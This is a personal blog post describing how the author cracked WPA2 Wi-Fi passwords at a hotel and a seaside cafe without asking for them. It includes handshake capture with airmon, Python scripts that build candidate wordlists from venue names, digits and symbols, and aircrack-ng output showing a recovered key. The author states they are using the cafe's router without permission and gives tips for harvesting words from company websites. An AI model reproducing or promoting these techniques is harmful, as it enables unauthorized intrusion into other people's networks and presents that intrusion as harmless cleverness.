[Math] Cracking Wi-Fi password using combinatorics

Previously: Ctrl-F "Forgotten password".

A real story, I checked-in into the Hilton hotel in the beutiful city Arkham. But I forgot to ask Wi-Fi password. The SSID is HotelHilton. I was too lazy/weary/introverted/neurotic to just step down and ask the password at reception desk. Can I crack it?

I ran airmon for several hours and collected some WPA2 handshakes, but these popular passwords lists didn't help me. What password Hotel Wi-Fi can be? Something like '12345'? Plus hotel name? The hotel is supposed to lure travelers, so the password may contain city name.

OK, let's try hotel name, city name, some numbers, special characters...

#!/usr/bin/env python3

import itertools

lst1=["hilton", "Hilton"]
lst2=["hotel", "Hotel"]
lst3=["arkham", "Arkham"]
lst4a=["1"*i for i in range(1, 10+1)]
lst4b=["".join(map(str,range(0, i+1))) for i in range(10)]
lst4c=["".join(map(str,range(1, i+1))) for i in range(1, 10+1)]
lst4=lst4a+lst4b+lst4c
lst5=["!","@","#","$","%","&","*","-","=","_","+",".",","]

print (lst1)
print (lst2)
print (lst3)
print (lst4)
print (lst5)

The result:

['hilton', 'Hilton']
['hotel', 'Hotel']
['arkham', 'Arkham']
['1', '11', '111', '1111', '11111', '111111', '1111111', '11111111', '111111111', '1111111111', '0', '01', '012', '0123', '01234', '012345', '0123456', '01234567', '012345678', '0123456789', '1', '12', '123', '1234', '12345', '123456', '1234567', '12345678', '123456789', '12345678910']
['!', '@', '#', '$', '%', '&', '*', '-', '=', '_', '+', '.', ',']

Not let's mix this all. Four loops:

# how many elements will be present?
# enumerate powersets
for r in range(1, 5+1):
    # enumerate all elements in all possible combinations:
    for lst in itertools.combinations([lst1,lst2,lst3,lst4,lst5], r):
        # find cartesian product
        for l in itertools.product(*lst):
            # find all possible permutations
            for i in list(itertools.permutations(l)):
                s="".join(i)
                # WPA2 standard min/max password length
                if len(s)>=8 and len(s)<=63:
                    print (s)

It produced 512,349 password (piece of cake for aircrack). Random sample from the list:

hiltonArkham=1111111
hiltonarkham012345hotel@
01234hilton!Arkhamhotel
hotel012345Hilton-
*0arkham
$0HotelhiltonArkham
$111Arkhamhiltonhotel
&Hotelarkhamhilton111111
11111arkhamHiltonhotel&
$Hotelarkhamhilton0123456789
hotelhilton1111111111%arkham
hotelHilton@arkham1
@HiltonhotelArkham12345678
arkham0123456Hotel&Hilton
01hotel=Arkham
$hotelarkham12345678
*hiltonhotel0123456789Arkham
Hilton11111111hotelArkham-
HotelHilton&0123456
*hotelarkhamHilton1234

To my astonishment, the correct password was 'hiltonhotel_10'. I have no idea what the number 10 mean. But definitely, this is not a building number.

A slightly more advanced idea, add two special characters:

Diff:

 lst4c=["".join(map(str,range(1, i+1))) for i in range(1, 10+1)]
 lst4=lst4a+lst4b+lst4c
 lst5=["!","@","#","$","%","&","*","-","=","_","+",".",","]
+lst6=lst5

...

 # how many elements will be present?
-for r in range(1, 5+1):
+for r in range(1, 6+1):
     # enumerate all elements in all possible combinations:
-    for lst in itertools.combinations([lst1,lst2,lst3,lst4,lst5], r):
+    for lst in itertools.combinations([lst1,lst2,lst3,lst4,lst5,lst6], r):

38,480,643 passwords. Much more, but still, not a problem for aircrack on a powerful CPU. A random sample:

#hotel&123arkhamhilton
Hilton+Hotel1111111111arkham=
Hiltonhotel,12345678$arkham
arkham+hotel0,
Arkham=Hotel,111111Hilton
,ArkhamHiltonhotel0123-
Hilton%.arkham123456
012345678=hiltonHotel@Arkham
hiltonhotel&11,Arkham
hilton%Arkham*1111111111
.!123hiltonArkham
arkham#Hilton12345678910Hotel-
0hilton$_arkhamHotel
hotelhilton*,012345
Arkham*Hilton%11111Hotel
Hotel@arkham%hilton11
0arkhamHotelhilton%-
%Arkham0Hilton=hotel
hiltonarkham012345678.
_012345Hilton%hotelArkham

You may also want to sort passwords list by length: perl -e 'print sort { length($a) <=> length($b) } <>'. (After all, a public Wi-Fi password is supposed to be short) And feed sorted list to aircrack, so that it will start on short passwords.

This is a real story happened to me just yesterday. I only changed city and hotel name. SSID was indeed 'Hotel[hotel_name]', because exactly this order of words is used in Russian/Ukrainian languages. (Of course, it's different in English language.)

Street name, building number and flat number maybe also be taken into account. I once rented a flat and a landlord told me the Wi-Fi password of form '[street name][building number][flat number]'. She said thus it's easy to remember it. But of course, such passwords are out of popular passwords lists.

Can you write shorter/clearer/more concise code than mine? Without help of combinatorics? Maybe yes, but you'll end up reinventing/reimplementing these functions and probably write the very same code.


And just today. Sitting near a 'Terrace' cafe, on a sea shore. What is around me?

IN-USE  BSSID              SSID               MODE   CHAN  RATE        SIGNAL  BARS  SECURITY
...
        C4:B9:CD:1E:FE:50  Terrace            Infra  1     130 Mbit/s  54      ▂▄__  WPA2
        B8:62:1F:7D:2C:D3  TerraceSeaView     Infra  11    130 Mbit/s  52      ▂▄__  WPA2
        B8:62:1F:7D:2C:D0  Terrace            Infra  11    130 Mbit/s  50      ▂▄__  WPA2
        B8:62:1F:7D:2C:D1  trs                Infra  11    130 Mbit/s  49      ▂▄__  WPA2
        D0:C2:82:84:AC:30  Terrace            Infra  1     130 Mbit/s  47      ▂▄__  WPA2
        B8:62:1F:7D:2C:DF  Terrace            Infra  153   130 Mbit/s  47      ▂▄__  WPA2
        B8:62:1F:7D:2C:DC  TerraceSeaView     Infra  153   130 Mbit/s  47      ▂▄__  WPA2
...

Possibly, 'trs' is related... The code I used:

#!/usr/bin/env python3

import itertools

lst1=["Terrace", "terrace", "Terace", "terace", "trs", "TRS"]
lst2a=["1"*i for i in range(1, 10+1)]
lst2b=["".join(map(str,range(0, i+1))) for i in range(10)]
lst2c=["".join(map(str,range(1, i+1))) for i in range(1, 10+1)]
lst2=lst2a+lst2b+lst2c
lst3=["!","@","#","$","%","&","*","-","=","_","+",".",","]

# how many elements will be present?
for r in range(1, 3+1):
    # enumerate all elements in all possible combinations:
    for lst in itertools.combinations([lst1,lst2,lst3], r):
        # find cartesian product
        for l in itertools.product(*lst):
            # find all possible permutations
            for i in list(itertools.permutations(l)):
                s="".join(i)
                # WPA2 standard min/max password length
                if len(s)>=8 and len(s)<=63:
                    print (s)

Only 13309 passwords to try. The password I've just found: 'terrace123'.

                               Aircrack-ng 1.6

      [00:00:01] 12504/13309 keys tested (9741.84 k/s)

      Time left: 0 seconds                                      93.95%

                          KEY FOUND! [ terrace123 ]


      Master Key     : 44 C3 AF 5F 8E BA 7F 2B C0 13 14 3A 05 80 B1 6E
                       4B E8 D5 23 DB D6 B6 B5 55 98 EE 3F D6 8C 8E 8E

      Transient Key  : 0E 3F 37 75 FD E4 73 4D FE E1 61 6B 20 54 E1 D3
                       23 81 6D 3F 16 F7 0D BD 2D 52 00 F8 6D 43 5C 7C
                       8A 1E BF 14 1B 73 74 2A FD FA 1C 4B 95 73 34 8C
                       F5 BC B1 85 87 63 2B 02 C5 C7 03 A0 78 42 DE EE

      EAPOL HMAC     : A3 C2 10 B4 18 F3 45 E9 3E FD 7F C8 4E 34 E0 B5

I'm writing this right now using their Wi-Fi-router.


Also, I've been once in a cafe where Wi-Fi password was named after one of their dish. That dish was marketed on their website and the same moment. So, you may collect some terms/words from a company's website first.


(UPD: Next part)

(the post first published at 20240806.)


List of my other blog posts.

Subscribe to my news feed,

Yes, I know about these lousy Disqus ads. Please use adblocker. I would consider to subscribe to 'pro' version of Disqus if the signal/noise ratio in comments would be good enough.